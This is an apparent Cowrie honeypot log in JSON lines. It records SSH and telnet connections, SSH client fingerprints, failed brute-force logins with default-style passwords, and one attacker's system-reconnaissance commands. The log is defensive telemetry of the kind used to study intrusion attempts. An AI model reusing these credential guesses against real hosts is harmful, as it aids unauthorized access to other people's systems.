{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:40:59.998863Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:00.638770Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:00.642741Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:00.922276Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:01.512322Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:01.516337Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:01.792798Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:02.390812Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:02.394797Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:02.673806Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:03.273166Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:03.277012Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":48000,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c338a9e34f","protocol":"ssh","message":"New connection: 103.228.69.212:48000 (10.17.0.5:22) [session: 97c338a9e34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:03.462394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:03.467898Z","src_ip":"103.228.69.212","session":"97c338a9e34f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:03.555773Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:03.702201Z","src_ip":"103.228.69.212","session":"97c338a9e34f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:04.146539Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:04.149905Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:04.427816Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker2024","message":"login attempt [docker/docker2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:04.661482Z","src_ip":"103.228.69.212","session":"97c338a9e34f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:05.015726Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:05.019855Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:05.303980Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.9","message":"Connection lost after 22.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:05.309918Z","src_ip":"36.92.140.209","session":"8d0796163b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:05.894991Z","src_ip":"103.228.69.212","session":"97c338a9e34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102949142456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:20.381281Z","src_ip":"136.37.89.108","session":"edfa21e5f2ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018584728241,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:21.697068Z","src_ip":"136.37.89.108","session":"f4719a1dc574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.37.89.108","src_port":45753,"dst_ip":"159.203.135.109","dst_port":23,"session":"eacdaa06ae23","protocol":"telnet","message":"New connection: 136.37.89.108:45753 (159.203.135.109:23) [session: eacdaa06ae23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:21.952333Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.37.89.108","src_port":46119,"dst_ip":"159.203.135.109","dst_port":23,"session":"1351397da004","protocol":"telnet","message":"New connection: 136.37.89.108:46119 (159.203.135.109:23) [session: 1351397da004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:35.630181Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":56028,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e0eeac38acf","protocol":"ssh","message":"New connection: 36.92.140.209:56028 (159.203.135.109:22) [session: 9e0eeac38acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:39.722539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:39.730194Z","src_ip":"36.92.140.209","session":"9e0eeac38acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:40.014231Z","src_ip":"36.92.140.209","session":"9e0eeac38acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wordpress","message":"login attempt [root/wordpress] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:41.170419Z","src_ip":"36.92.140.209","session":"9e0eeac38acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:41:42.453612Z","src_ip":"36.92.140.209","session":"9e0eeac38acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36600,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ec899c69448","protocol":"ssh","message":"New connection: 103.228.69.212:36600 (10.17.0.5:22) [session: 4ec899c69448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:02.129918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:02.134868Z","src_ip":"103.228.69.212","session":"4ec899c69448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:02.376336Z","src_ip":"103.228.69.212","session":"4ec899c69448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd2025","message":"login attempt [root/passw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:03.367231Z","src_ip":"103.228.69.212","session":"4ec899c69448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:04.611081Z","src_ip":"103.228.69.212","session":"4ec899c69448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47608,"dst_ip":"10.17.0.5","dst_port":22,"session":"87431ed1bb86","protocol":"ssh","message":"New connection: 80.94.92.184:47608 (10.17.0.5:22) [session: 87431ed1bb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:29.689345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:29.928343Z","src_ip":"80.94.92.184","session":"87431ed1bb86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:29.931774Z","src_ip":"80.94.92.184","session":"87431ed1bb86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:31.737727Z","src_ip":"80.94.92.184","session":"87431ed1bb86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:33.007659Z","src_ip":"80.94.92.184","session":"87431ed1bb86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":58846,"dst_ip":"159.203.135.109","dst_port":22,"session":"037966a218e3","protocol":"ssh","message":"New connection: 36.92.140.209:58846 (159.203.135.109:22) [session: 037966a218e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:35.381049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:35.385146Z","src_ip":"36.92.140.209","session":"037966a218e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:35.664858Z","src_ip":"36.92.140.209","session":"037966a218e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sq123456.","message":"login attempt [root/Sq123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:36.797932Z","src_ip":"36.92.140.209","session":"037966a218e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:38.076623Z","src_ip":"36.92.140.209","session":"037966a218e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":53420,"dst_ip":"10.17.0.5","dst_port":22,"session":"d12fede9a4b0","protocol":"ssh","message":"New connection: 103.228.69.212:53420 (10.17.0.5:22) [session: d12fede9a4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:57.487300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:42:57.492533Z","src_ip":"103.228.69.212","session":"d12fede9a4b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-n